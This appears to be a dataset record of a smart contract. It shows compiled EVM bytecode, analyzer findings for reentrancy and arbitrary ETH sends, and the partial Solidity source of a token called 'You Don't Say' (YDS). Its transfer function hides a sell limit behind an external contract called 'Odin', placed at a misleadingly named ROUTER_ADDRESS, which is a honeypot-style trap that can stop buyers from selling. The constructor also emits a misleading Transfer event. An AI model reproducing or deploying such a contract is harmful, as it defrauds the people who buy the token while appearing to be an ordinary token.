ffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f526f636b4579657320f09f918000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6002600881905550600f600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208c23fa9e99804cf8e97b4e13a8e222fa3bc6bf1ca02c7aae6347dc838405c33164736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,919 |
0xC342fd69a0329C8Da377f45f0a6469B3Ed4BCEFE | // SPDX-License-Identifier: MIT
// Ref: http://www.quickmeme.com/meme/3po513
// In Nicholas Cage we trust
// No matter how much you earn
// If you do not manage your wealth well
// You can go broke one day
//
// How Nicolas Cage Blew His $150m Fortune And Ended Up Broke
// https://www.ladbible.com/news/news-how-nicolas-cage-blew-150m-fortune-and-ended-up-broke-20210925
pragma solidity ^0.8.7;
uint256 constant INITIAL_TAX=4;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=150000000;
string constant TOKEN_SYMBOL="YDS";
string constant TOKEN_NAME="You Don't Say";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract YDS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(25);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
